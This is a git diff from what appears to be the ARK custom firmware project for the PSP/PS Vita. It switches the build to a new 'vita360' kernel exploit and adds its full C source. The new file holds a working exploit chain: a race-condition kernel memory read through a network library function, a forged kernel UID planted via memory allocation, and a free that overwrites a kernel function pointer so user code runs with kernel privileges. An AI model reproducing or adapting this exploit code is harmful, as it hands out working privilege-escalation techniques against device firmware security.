diff --git a/Makefile b/Makefile index 4478898..9a587b7 100644 --- a/Makefile +++ b/Makefile @@ -8,7 +8,7 @@ PROVITA ?= $(shell pwd) PYTHON = $(shell which python3) USE_FLASH0_ARK ?= 1 SAVE ?= -1 -K ?= sceSdGetLastIndex +K ?= vita360 FLASH_DUMP ?= 0 export ARKROOT DEBUG PROVITA K FLASH_DUMP diff --git a/ark/main.c b/ark/main.c index 8cd10d6..517ed37 100644 --- a/ark/main.c +++ b/ark/main.c @@ -72,7 +72,7 @@ int exploitEntry(char* arg0) // read kxploit file into memory and initialize it initKxploitFile(); - if (kxf->stubScanner() == 0) + if (kxf->stubScanner(g_tbl) == 0) { // Corrupt Kernel int ret = kxf->doExploit(); diff --git a/common/include/functions.h b/common/include/functions.h index a8247d8..ba81006 100644 --- a/common/include/functions.h +++ b/common/include/functions.h @@ -25,7 +25,7 @@ // K.BIN communication interface typedef struct KxploitFunctions{ - int (* stubScanner)(void); + int (* stubScanner)(struct UserFunctions*); int (* doExploit)(void); void (* executeKernel)(u32 kernelContentFunction); void (* repairInstruction)(void); @@ -33,6 +33,59 @@ typedef struct KxploitFunctions{ void (* p5_close_savedata)(); }KxploitFunctions; +typedef struct UserFunctions +{ + ARKConfig* config; + int (* IoOpen)(char *, int, int); + int (* IoRead)(int, void *, int); + int (* IoWrite)(int, void *, int); + int (* IoClose)(int); + int (* IoRemove)(char*); + void (* KernelLibcTime)(int); + void (* KernelLibcClock)(); + int (* KernelPowerLock)(unsigned int, unsigned int); + void (* KernelDcacheWritebackAll)(void); + void (* KernelIcacheInvalidateAll)(void); + int (* DisplaySetFrameBuf)(void *topaddr, int bufferwidth, int pixelformat, int sync); + SceUID (* KernelCreateThread)(const char *name, SceKernelThreadEntry entry, int initPriority, int stackSize, SceUInt attr, SceKernelThreadOptParam *option); + int (* KernelStartThread)(SceUID thid, SceSize arglen, void *argp); + void (* KernelDelayThread)(uint32_t); + void (* KernelExitThread)(uint32_t); + int (* KernelExitDeleteThread)(int status); + int (* KernelWaitThreadEnd)(SceUID thid, SceUInt *timeout); + SceUID (* KernelCreateVpl)(const char*, int, int, unsigned int, void*); + int (* KernelTryAllocateVpl)(SceUID, unsigned int, void**); + int (* KernelFreeVpl)(SceUID uid, void *data); + int (* KernelDeleteVpl)(int); + int (* KernelDeleteFpl)(int); + unsigned int (*KernelCpuSuspendIntr)(); + void (*KernelCpuResumeIntr)(unsigned int flags); + int (* UtilityLoadModule)(int); + int (* UtilityUnloadModule)(int); + int (* UtilityLoadNetModule)(int); + int (* UtilityUnloadNetModule)(int); + //int (* SysMemUserForUser_91DE343C)( void *unk ); + SceUID (*KernelAllocPartitionMemory)(SceUID partitionid, const char *name, int type, SceSize size, void *addr); + void * (*KernelGetBlockHeadAddr)(SceUID blockid); + int (* KernelFreePartitionMemory)(int); + int (* UtilitySavedataGetStatus)(); + int (* UtilitySavedataInitStart)(void* params); + void (* UtilitySavedataUpdate)(int a0); + int (* UtilitySavedataShutdownStart)(); + int (* KernelVolatileMemUnlock)(int unknown); + // common ark functions + void (* freeMem)(struct UserFunctions*); + u32 (* FindImportUserRam)(char *libname, u32 nid); + u32 (* FindImportVolatileRam)(char *libname, u32 nid); + u32 (* FindImportRange)(char *libname, u32 nid, u32 lower, u32 higher); + void* (* RelocSyscall)(u32 call); + int (* p5_open_savedata)(int mode); + int (* p5_close_savedata)(); + u32 (* qwikTrick)(char* lib, u32 nid, u32 version); + void (*prtstr)(const char* A, unsigned long B, unsigned long C, unsigned long D, unsigned long E, unsigned long F, unsigned long G, unsigned long H, unsigned long I, unsigned long J, unsigned long K, unsigned long L); +} UserFunctions; + + // PBP Header typedef struct { @@ -80,6 +133,9 @@ typedef struct FunctionTable void* (* RelocSyscall)(u32 call); void (*prtstr)(const char* A, unsigned long B, unsigned long C, unsigned long D, unsigned long E, unsigned long F, unsigned long G, unsigned long H, unsigned long I, unsigned long J, unsigned long K, unsigned long L); u32 (*FindTextAddrByName)(const char*); + u32 (*sceKernelExitDeleteThread)(u32 status); + u32 (*KernelAllocPartitionMemory)(u32 partitionid, const char *name, int type, SceSize size, void *addr); + void (* KernelLibcClock)(); } FunctionTable; // fills a FunctionTable instance with all available imports @@ -144,7 +200,8 @@ typedef struct KernelFunctions{ int (* WlanGetEtherAddr)(unsigned char *destAddr); - int (* Kermit_driver_4F75AA05)(KermitPacket *packet, u32 cmd_mode, u32 cmd, u32 argc, u32 allow_callback, u64 *resp); + //int (* Kermit_driver_4F75AA05)(KermitPacket *packet, u32 cmd_mode, u32 cmd, u32 argc, u32 allow_callback, u64 *resp); + int (* Kermit_driver_4F75AA05)(void* kermit_packet, u32 cmd_mode, u32 cmd, u32 argc, u32 allow_callback, u64 *resp); int (* KernelLoadExecVSHWithApitype)(int, char *, struct SceKernelLoadExecVSHParam *, int); diff --git a/kxploit/kxploit.h b/kxploit/kxploit.h index c5f7fcc..4b8845c 100644 --- a/kxploit/kxploit.h +++ b/kxploit/kxploit.h @@ -34,10 +34,11 @@ extern FunctionTable* g_tbl; #define PRTSTR1(text, x1) PRTSTR2(text, x1, 0) #define PRTSTR(text) PRTSTR1(text, 0) -extern int stubScanner(void); +//extern int stubScanner(void); extern int doExploit(void); extern void executeKernel(u32 kernelContentFunction); -extern void repairInstruction(void); +extern void repairInstruction(KernelFunctions*); +extern int stubScanner(UserFunctions* tbl); // p5 stubs extern void p5_open_savedata(int mode); diff --git a/kxploit/main.c b/kxploit/main.c index 155845c..0362c68 100644 --- a/kxploit/main.c +++ b/kxploit/main.c @@ -1,5 +1,7 @@ #include #include "kxploit.h" +#include "functions.h" + int (* _sceUtilitySavedataGetStatus)() = (void*)NULL; int (* _sceUtilitySavedataInitStart)(SceUtilitySavedataParam *params) = (void*)NULL; diff --git a/kxploit/sceSdGetLastIndex/kxploit.o b/kxploit/sceSdGetLastIndex/kxploit.o new file mode 100644 index 0000000..fdd0ece Binary files /dev/null and b/kxploit/sceSdGetLastIndex/kxploit.o differ diff --git a/kxploit/sceWlanGetEtherAddr/kxploit.c b/kxploit/sceWlanGetEtherAddr/kxploit.c index c0e2916..5ec910f 100644 --- a/kxploit/sceWlanGetEtherAddr/kxploit.c +++ b/kxploit/sceWlanGetEtherAddr/kxploit.c @@ -27,9 +27,9 @@ #include #include #include "kxploit.h" -#include "functions.h" +#include -FunctionTable *g_tbl = NULL; +//FunctionTable extern *g_tbl = NULL; int (* WlanGetEtherAddr)(unsigned char *destAddr) = NULL; void (* KernelLibcTime)(int, int) = NULL; diff --git a/kxploit/sceWlanGetEtherAddr/kxploit.o b/kxploit/sceWlanGetEtherAddr/kxploit.o new file mode 100644 index 0000000..4418146 Binary files /dev/null and b/kxploit/sceWlanGetEtherAddr/kxploit.o differ diff --git a/kxploit/vita360/kxploit.c b/kxploit/vita360/kxploit.c new file mode 100644 index 0000000..7bbf7a7 --- /dev/null +++ b/kxploit/vita360/kxploit.c @@ -0,0 +1,198 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "macros.h" +#include "globals.h" +#include +#include "kxploit.h" + +/* +SceUID kernel exploit by qwikrazor87. +Read only kernel exploit by TheFl0w. +Part of Trinity exploit chain. +Put together by Acid_Snake and meetpatty. +*/ + + +#define DUMP_PATH "ms0:/kram.bin" +#define BUF_SIZE 10*1024 // 10KB buffer to minimize IO + +#define LIBC_CLOCK_OFFSET_360 0x88014D80 +#define LIBC_CLOCK_OFFSET_365 0x88014D00 +#define SYSMEM_SEED_OFFSET_365 0x88014E38 +#define SYSMEM_SEED_OFFSET_CHECK SYSMEM_TEXT+0x00002FA8 + +#define FAKE_UID_OFFSET 0x80 + +//extern UserFunctions* g_tbl; +int (*_sceNpCore_8AFAB4A0)(int *input, char *string, int length); + +/* Actual code to trigger the kram read vulnerability. + We can read the value stored at any location in Kram. +*/ +static volatile int running; +static volatile int idx; +static int input[3]; +static int libc_clock_offset = LIBC_CLOCK_OFFSET_360; + +//extern int stubScanner(struct UserFunctions*); + +static int racer(SceSize args, void *argp) { + running = 1; + + while (running) { + input[1] = 0; + g_tbl->KernelDelayThread(10); + input[1] = idx; + g_tbl->KernelDelayThread(10); + } + + return g_tbl->sceKernelExitDeleteThread(0); +} +u32 readKram(u32 addr){ + SceUID thid = g_tbl->KernelCreateThread("", racer, 8, 0x1000, 0, NULL); + if (thid < 0) + return 0; + + g_tbl->KernelStartThread(thid, 0, NULL); + + char string[8]; + int round = 0; + + idx = -83; // relative offset 0xB00 in np_core.prx (0xD98 + (-83 << 3)) + + int i; + for (i = 0; i < 100000; i++) { + u32 res = _sceNpCore_8AFAB4A0(input, string, sizeof(string)); + if (res != 5 && res != 0x80550203) { + switch (round) { + case 0: + round = 1; + idx = (addr - (res - 0xA74) - 0xD98) >> 3; + break; + case 1: + running = 0; + return res; + } + } + } + + running = 0; + return 0; +} + +void repairInstruction(KernelFunctions* k_tbl) { + SceModule2 *mod = k_tbl->KernelFindModuleByName("sceRTC_Service"); + _sw(mod->text_addr + 0x3904, libc_clock_offset); + k_tbl->KernelIcacheInvalidateAll(); + k_tbl->KernelDcacheWritebackInvalidateAll(); +} + + +int stubScanner(UserFunctions* tbl){ + int res = 0; + g_tbl = tbl; + tbl->freeMem(tbl); + + g_tbl->UtilityLoadModule(PSP_MODULE_NP_COMMON); + g_tbl->UtilityLoadModule(PSP_MODULE_NET_COMMON); + g_tbl->UtilityLoadModule(PSP_MODULE_NET_INET); + _sceNpCore_8AFAB4A0 = tbl->FindImportUserRam("sceNpCore", 0x8AFAB4A0); + + return 0; +} + +int checkPlantUID(int uid){ + u32 addr = 0x88000000 + ((uid >> 5) & ~3); + u32 data = readKram(addr); + return (data == libc_clock_offset - 4); +} + +void dumpBuf(char* path, void* buf, int size){ + int fd = g_tbl->IoOpen(path, PSP_O_WRONLY|PSP_O_CREAT|PSP_O_TRUNC, 0777); + g_tbl->IoWrite(fd, buf, size); + g_tbl->IoClose(fd); +} + +/* +FakeUID kxploit +*/ + +int doExploit(void) { + + int res; + u32 seed = 0; + + if (_sceNpCore_8AFAB4A0 != NULL){ + u32 test_val = readKram(SYSMEM_SEED_OFFSET_CHECK); + if (test_val == 0x8F154E38){ + seed = readKram(SYSMEM_SEED_OFFSET_365); + libc_clock_offset = LIBC_CLOCK_OFFSET_365; + } + } + + // Allocate dummy block to improve reliability + char dummy[32]; + memset(dummy, 'a', sizeof(dummy)); + SceUID dummyid; + int i; + for (i=0; i<10; i++) + dummyid = g_tbl->KernelAllocPartitionMemory(PSP_MEMORY_PARTITION_USER, dummy, PSP_SMEM_High, 0x10, NULL); + + // we can calculate the address of dummy block via its UID and from there calculate where the next block will be + u32 dummyaddr = 0x88000000 + ((dummyid >> 5) & ~3); + u32 newaddr = dummyaddr - FAKE_UID_OFFSET; + SceUID uid = (((newaddr & 0x00ffffff) >> 2) << 7) | 0x1; + SceUID encrypted_uid = uid ^ seed; // encrypt UID, if there's none then A^0=A + + // Plant UID data structure into kernel as string + u32 string[] = { libc_clock_offset - 4, 0x88888888, 0x88016dc0, encrypted_uid, 0x88888888, 0x10101010, 0, 0 }; + SceUID plantid = g_tbl->KernelAllocPartitionMemory(PSP_MEMORY_PARTITION_USER, (char *)string, PSP_SMEM_High, 0x10, NULL); + + g_tbl->KernelDcacheWritebackAll(); + + //dumpBuf("ms0:/dummyaddr.bin", &dummyaddr, sizeof(dummyaddr)); + //dumpBuf("ms0:/newaddr.bin", &newaddr, sizeof(newaddr)); + + // Overwrite function pointer at LIBC_CLOCK_OFFSET with 0x88888888 + res = g_tbl->KernelFreePartitionMemory(uid); + + g_tbl->KernelDcacheWritebackAll(); + + /* + int (*CtrlReadBufferPositive)(SceCtrlData *, int) = NULL; + CtrlReadBufferPositive = g_tbl->FindImportUserRam("sceCtrl", 0x1F803938); + u32 EXIT_MASK = (PSP_CTRL_START | PSP_CTRL_UP); + while (1){ + SceCtrlData pad_data; + CtrlReadBufferPositive(&pad_data, 1); + if((pad_data.Buttons & EXIT_MASK) == EXIT_MASK){ + break; + } + } + */ + + if (res < 0) return res; + + return 0; +} + +void executeKernel(u32 kernelContentFunction){ + // Make a jump to kernel function + _sw(JUMP(KERNELIFY(kernelContentFunction)), 0x08888888); + _sw(NOP, 0x08888888+4); + g_tbl->KernelDcacheWritebackAll(); + + // Execute kernel function + g_tbl->KernelLibcClock(); +}